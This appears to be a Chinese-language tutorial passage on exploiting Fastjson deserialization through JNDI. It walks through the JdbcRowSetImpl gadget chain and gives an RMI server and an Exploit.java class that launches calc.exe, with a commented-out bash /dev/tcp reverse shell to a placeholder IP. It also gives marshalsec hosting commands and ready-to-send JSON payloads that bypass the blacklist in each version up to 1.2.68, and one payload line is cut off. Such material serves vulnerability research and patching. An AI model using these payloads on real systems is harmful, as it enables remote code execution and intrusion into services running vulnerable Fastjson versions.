1.2、JNDI利用链分析
Gadget com.sun.rowset.JdbcRowSetImpl setAutoCommit() -> connect() -> InitialContext.lookup()
poc如下,dataSourceName 为rmi://localhost:1090/evil:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":\"true\"}";
RMIServer代码如下:
package org.lain.poc.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * @author: lanqihe * @Date: 下午8:01 2017/12/11 * @Modified By: * @Description: 本地注册一个register,并将恶意的类绑定 */ public class RMIServer { public static void main(String argv[]) { try { Registry registry = LocateRegistry.createRegistry(1090); //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取 //因此,本地测试的话,如果factory正确,factoryLocation随便填写 Reference reference = new Reference("EvilObject", "org.lain.poc.jndi.EvilObjectFactory", "http://localhost:9999/" ); //客户端通过evil查找,获取到EvilObject registry.bind("evil", new ReferenceWrapper(reference)); System.out.println("Ready!"); System.out.println("Waiting for connection......"); } catch (Exception e) { System.out.println("RMIServer: " + e.getMessage()); e.printStackTrace(); } } }
调试过程如下:
首先会加载com.sun.rowset.JdbcRowSetImpl类
这里获得了我们传入参数中@type的值,这个就是要要加载的类
因为poc中的autoCommit设置为true.会调用setAutoCommit方法
继续调试,就会进入connect()方法中,调用lookup方法
因为初始化的时候getDataSourceName为空,进入else,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName,并传入setDataSourceNmame()。
通过lookup方法就实例化了恶意类,从而导致构造方法的恶意代码触发。
总结:fastjson @type的值传入类,在解析json时,就会调用传入属性的getter,setter方法。如果找到一个类getter,setter能够传入可控的恶意class字节码或者是jdni服务,就能导致rce.
@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl
dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数
autoCommit :调⽤ setAutoCommit 函数。
1.3、JNDI利用
首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"}); //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
使用javac命令编译Exploit.java文件,生成一个Exploit.class文件
javac Exploit.java
使用python开启一个http服务并把生成的Exploit.class文件,放到vps的web目录下
python3 -m http.server
使用marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。
mvn clean package -DskipTests
把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 9999 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 9999
发送payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit", "autoCommit":true} {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}
成功执行了系统命令
1.4、官方进行的修复
astjson 1.2.25版本中引入了checkAutotype,其中增加了黑白名单的校验,用于缓解反序列化漏洞的产生,并且将内置的黑白名单进行加密,增加了绕过黑白名单的研究成本。
通常,以下几种类型的类可以通过校验。
· 缓存 mapping 中的类。
· 白名单中的类。
· 开启 autotype的类。
· 指定的期望类(expectClass)。
使用JSONType 注解的类。
Fastjson优先从mapping中获取类,当成功获取时,其不会进行黑白名单的安全检测,因此可以通过寻找将类加入缓存的方法,达到从逻辑层面上绕过checkAutoType检测的目的,所以绕过checkAutoType安全机制是一种逻辑漏洞。
2、fastjson<=1.2.41
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
3、fastjson<=1.2.42
fastjson在1.2.42版本新增了校验机制。
if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L) { throw new JSONException("autoType is not support. " + typeName); } // 9195c07b5af5345 className = className.substring(1, className.length() - 1); }
如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
绕过方法,在类名外部嵌套2层L;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Explo
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
4、fastjson<=1.2.45
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单
由于在项目中使用的频率也较高,所以影响范围较大。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
5、fastjson<=1.2.47
这个版本发生了不开启autotype情况下能利用成功的绕过,对版本小于1.2.48的版本通杀。
这次的绕过:
利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以绕过,
然后就和之前流程一样调用 deserializer.deserialze 来处理我们传入的clazz,也就是java.lang.class
这个java.lang.class类对应的deserializer为MiscCodec
deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
exp:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true } }
6、1.2.48<=fastjson<1.2.68
这个几个版本中都是对黑名单的绕过
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"} {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
7、fastjson<=1.2.68
本次是java.lang.AutoCloseable导致的exceptClass为非NULL
poc
{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"